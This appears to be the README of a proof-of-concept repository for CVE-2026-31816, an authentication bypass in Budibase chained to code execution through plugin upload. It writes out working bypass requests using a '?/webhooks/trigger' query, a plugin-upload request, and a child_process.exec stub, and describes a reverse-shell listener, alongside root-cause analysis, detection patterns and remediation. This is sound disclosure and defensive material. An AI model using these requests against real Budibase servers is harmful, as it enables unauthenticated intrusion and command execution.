
CVE-2026-31816 - Budibase Authentication Bypass to RCE
CVE-2026-31816 is a critical authentication and authorization bypass vulnerability affecting Budibase.
The vulnerability exists in the server-side authorization middleware responsible for protecting API endpoints. Budibase attempts to identify legitimate webhook endpoints with an unanchored regular expression and evaluates that expression against Koa's ctx.request.url.
Because ctx.request.url contains the query string, an attacker can inject a webhook-looking path into the query component of an otherwise unrelated API request.
For example:
/api/integrations?/webhooks/trigger
The request does not actually target the webhook endpoint. However, the vulnerable check can interpret /webhooks/trigger as evidence that the request is a legitimate webhook request and allow execution to continue without normal authentication and authorization checks.
NVD describes the issue as allowing a completely unauthenticated remote attacker to access server-side API endpoints by appending a webhook path pattern to the URL.
NVD records Budibase versions through 3.31.4 as affected and assigns a CVSS 3.1 score of 9.1.
The vulnerable logic is centered around the webhook detection performed before normal authorization.
The security advisory documents code conceptually equivalent to:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
The problem is the combination of two behaviors:
ctx.request.url contains the query string.That means the expression does not need to match the actual request path.
A request such as:
/api/some/protected/endpoint?/webhooks/trigger
still contains the string:
/webhooks/trigger
inside the URL being tested.
The authorization middleware subsequently treats the request as a webhook request and reaches the endpoint without performing the normal authorization flow.
The Budibase security advisory explicitly identifies this as the underlying flaw and notes that the bypass skips authentication, authorization, role checks, and CSRF protection.
A normal request to a protected API endpoint would be expected to pass through the authentication layer.
For example:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
A vulnerable instance can instead be reached with the webhook query-string pattern:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
The important part is:
?/webhooks/trigger
The endpoint itself has not changed:
/api/integrations
Only the query string has been modified.
The public Budibase advisory demonstrates this exact technique against /api/integrations and several other server-side endpoints.
A safe way to verify the authentication bypass in a controlled lab is to compare an ordinary request with the webhook-query variant.
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
The vulnerable server can process the second request without the authentication checks that would normally protect the endpoint.
A published PoC similarly uses:
/api/integrations?/webhooks/trigger
as a simple vulnerability check.
The following demonstrates the structure of an authenticated API request being transformed into an unauthenticated request by adding the webhook pattern.
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
The official Budibase advisory documents this endpoint as one of the affected API surfaces.
Other server-side endpoints documented as reachable through the same flaw include:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
The key observation is that the vulnerability is not tied to one particular application resource. The affected authorization middleware sits in front of a broad set of server-side APIs.
The authentication bypass can become considerably more serious when combined with a sensitive API capable of accepting attacker-controlled functionality.
The PoC in this repository chains the vulnerability as follows:
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
/api/integrations, then builds a Budibase plugin archive and submits it through /api/plugin/upload.Once authorization has been bypassed, the plugin-upload request follows the normal multipart upload format, with the vulnerable webhook query appended to the URL.
A sanitized representation is:
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
The repository PoC creates this multipart request with a .tar.gz plugin archive and sends it to /api/plugin/upload?/webhooks/trigger.
For safety, the request above intentionally leaves the executable archive as a placeholder rather than embedding a reverse-shell payload directly in the documentation.
The PoC generates a plugin archive containing:
package.json
schema.json
datasource-helper.js
The archive is created as a gzip-compressed tarball.
The JavaScript component is constructed so that Node.js loads child_process and executes a supplied command:
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);
The repository implementation supports multiple payload types and generates the corresponding command dynamically.
This is the second stage of the chain:
Authentication bypass
↓
Unauthenticated API access
↓
Plugin upload
↓
Attacker-controlled JavaScript
↓
Node.js command execution
The vulnerability is fundamentally a URL parsing and trust-boundary mistake.
The application needs some webhook routes to be publicly accessible. Instead of determining whether the actual request path belongs to an allowed webhook route, the vulnerable implementation searches the entire URL for a matching substring.
Conceptually:
Expected:
request.path
│
└── must actually equal a webhook endpoint
Actual vulnerable behavior:
request.url
│
├── path
└── query string
│
└── attacker-controlled text
│
└── /webhooks/trigger
Because the query string is attacker-controlled, an attacker can place the string expected by the webhook detector anywhere in the URL.
That causes a security-sensitive boolean check to return the wrong result:
isWebhookEndpoint(ctx)
│
├── false → normal authorization
│
└── true → return next()
│
├── authentication skipped
├── authorization skipped
├── role checks skipped
└── CSRF checks skipped
The Budibase advisory explicitly describes the early return next() behavior and the resulting security-check bypass.
The vulnerability is considerably broader than a simple login bypass.
According to the vendor advisory, exploitation can provide unauthenticated access to server-side APIs affecting:
The advisory also confirms that the bypass eliminates CSRF protection and requires neither user interaction nor existing credentials.
When a vulnerable API capable of processing attacker-controlled functionality is reachable through the bypass, the vulnerability can be chained into arbitrary code execution.
The PoC included in this repository demonstrates that attack path by building a plugin archive, uploading it, and waiting for execution.
A basic detection strategy is to compare authentication behavior for an ordinary request and the same request with a webhook-style query suffix.
Example:
curl -i http://127.0.0.1:10000/api/integrations
versus:
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'
A vulnerable installation may expose a protected endpoint through the second request.
This technique is also used by publicly available detection material for CVE-2026-31816.
The NVD entry identifies:
Budibase <= 3.31.4
as affected.
There is an important documentation discrepancy worth noting: the live GitHub security advisory currently displays "Patched versions: None", while independent vulnerability references identify 3.31.5 and later as the remediation boundary.
For that reason, this repository should not present 3.31.5 as an unquestionable vendor-confirmed patch unless the corresponding Budibase release/change is independently verified.
The primary remediation is to upgrade Budibase to a version containing the upstream fix.
Until patching is possible, defensive controls can include:
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
/webhooks/trigger
/webhooks/schema
/webhooks/discord
/webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.
The vulnerability is especially concerning for internet-exposed self-hosted deployments because the attack requires no authenticated session.
A useful log-level indicator is an API request containing a webhook route pattern in the query string:
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams
For example:
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger
These patterns should be investigated rather than automatically treated as proof of exploitation, since legitimate traffic and application-specific behavior must also be considered.
The exploit implementation in this repository is divided into several logical components:
ExploitConfig
│
├── target
├── LHOST
├── LPORT
└── payload type
│
▼
BudibaseClient
│
├── vulnerability check
└── plugin upload
│
▼
PluginBuilder
│
└── .tar.gz
│
▼
PayloadBuilder
│
└── JavaScript
│
▼
command execution
The implementation also contains an optional listener for receiving a shell connection after successful exploitation.
For a controlled lab:
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.
This vulnerability is a good example of why security-sensitive URL matching should be performed against a properly parsed and normalized request path rather than an attacker-controlled full URL string.
The bug is subtle because the webhook functionality itself is legitimate. The problem is the trust decision made by the middleware:
"Does this request target a webhook?"
is effectively answered by:
"Does the entire URL contain a webhook-looking substring?"
Those are not equivalent security properties.
An attacker therefore does not need to make their request actually become a webhook request. They only need to make the authorization middleware believe that it is one.
This repository is intended for security research, vulnerability validation, and authorized testing. Do not use the exploit against systems you do not own or have explicit permission to test.
| Field | Value |
|---|
| CVE | CVE-2026-31816 |
| Vendor | Budibase |
| Product | Budibase |
| Affected versions | <= 3.31.4 |
| Severity | Critical |
| CVSS v3.1 | 9.1 |
| CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| Attack Vector | Network |
| Privileges Required | None |
| User Interaction | None |
| Authentication Required | No |